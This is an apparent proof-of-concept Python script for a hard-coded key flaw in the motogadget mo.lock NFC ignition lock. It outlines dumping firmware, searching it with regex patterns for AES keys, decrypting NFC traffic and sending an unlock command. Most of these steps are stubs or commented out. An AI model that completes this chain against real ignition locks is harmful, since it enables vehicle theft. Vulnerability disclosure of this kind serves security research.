CVE-2025-6666: motogadget mo.lock Ignition Lock 硬编码加密密钥漏洞

# CVE-2025-6666 PoC - Hard-coded Cryptographic Key Extraction # Target: motogadget mo.lock Ignition Lock NFC Handler # This PoC demonstrates the concept of extracting hard-coded keys from NFC device firmware import subprocess import re def extract_firmware(device_path): """Extract firmware from NFC device""" # Example: Use appropriate tool to dump firmware # firmware_dump = subprocess.run(['nfc-tool', '-d', device_path, 'read'], capture_output=True) # return firmware_dump.stdout return b'firmware_data' def analyze_firmware_for_keys(firmware_data): """Search for hard-coded cryptographic keys in firmware""" # Common key patterns to search key_patterns = [ rb'key\s*[=:]\s*[0-9a-fA-F]{32}', # 128-bit keys rb'key\s*[=:]\s*[0-9a-fA-F]{48}', # 192-bit keys rb'key\s*[=:]\s*[0-9a-fA-F]{64}', # 256-bit keys rb'aes_key\s*[=:]\s*[0-9a-fA-F]+', rb'encrypt_key\s*[=:]\s*[0-9a-fA-F]+', ] found_keys = [] for pattern in key_patterns: matches = re.findall(pattern, firmware_data) found_keys.extend(matches) return found_keys def decrypt_nfc_communication(encryption_key, nfc_capture): """Decrypt NFC communication using extracted key""" # from Crypto.Cipher import AES # cipher = AES.new(encryption_key, AES.MODE_ECB) # decrypted = cipher.decrypt(nfc_capture) # return decrypted pass def exploit_nfc_lock(extracted_key, target_device): """Send malicious NFC command to unlock ignition""" # Craft NFC command using decrypted protocol # malicious_command = build_unlock_command(extracted_key) # send_nfc_command(target_device, malicious_command) pass if __name__ == '__main__': print('[+] CVE-2025-6666 PoC for motogadget mo.lock') print('[+] Extracting firmware...') firmware = extract_firmware('/dev/nfc0') print('[+] Analyzing for hard-coded keys...') keys = analyze_firmware_for_keys(firmware) print(f'[+] Found {len(keys)} potential keys') if keys: print('[!] Device vulnerable to hard-coded key attack')